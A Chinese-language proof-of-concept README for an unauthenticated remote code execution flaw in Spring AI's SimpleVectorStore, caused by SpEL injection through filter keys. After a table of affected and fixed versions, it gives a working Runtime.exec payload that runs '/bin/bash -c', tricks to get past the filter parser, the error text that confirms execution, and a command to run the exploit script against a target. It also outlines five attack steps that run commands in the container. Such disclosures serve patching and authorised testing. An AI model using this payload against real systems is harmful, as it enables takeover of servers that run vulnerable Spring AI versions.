| 组件 | 受影响版本 | 已修复版本 |
|---|
org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
修复提交: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch() 会将调用方提供的过滤器键名原样传入由 StandardEvaluationContext 求值的 SpEL 模板中。由于 StandardEvaluationContext 暴露了完整的 JVM 反射 API,攻击者可以将以下内容注入过滤器键中,从而实现未认证的 OS 命令执行:
T(java.lang.Runtime).getRuntime().exec(...)
直接注入无法开箱即用——需要绕过两个解析器特性:
' 开头的键会被视为带引号的字符串;外层引号会被剥离,从而破坏载荷。"..." 中会导致解析器剥离外层双引号,使内部 SpEL 表达式作为键值原样保留,并传递给 #metadata['<KEY>']。#metadata[''](而非未定义变量),可避免 unknown variable 的 SpEL 错误,同时仍能触发 exec()。最终求值后的表达式形式如下:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
HTTP 响应体中将包含 EL1030E — SpEL 运行时错误:
operator ADD not supported between null and java.lang.ProcessImpl
该错误在 exec() 返回之后触发,可确认 OS 级命令执行已成功,无需依赖带外回调。
前置条件:
pip install requests
运行漏洞利用程序:
python3 exploit.py [--target http://localhost:8082] [--wait]

Docker Desktop(macOS/Windows): 回调载荷请使用 host.docker.internal 而非 127.0.0.1。
该 PoC 按顺序执行五个步骤:
| 步骤 | 说明 |
|---|---|
| 1 | 基线检查 — 确认端点可访问并返回种子数据 |
| 2 | 盲 SpEL 探测 — 通过 T(java.lang.System) 读取 java.version 以确认注入点 |
| 3 | RCE:在容器内执行 touch /tmp/pwned_cve_2026_22738 |
| 4 | RCE:将 id / uname / hostname 的输出写入 /tmp/rce_proof.txt |
| 5 | 通过 docker exec 验证 — 打印证明文件内容 |
本概念验证(PoC)仅供教育和授权安全测试之用。请勿将其用于您不拥有或未经明确书面许可进行测试的系统。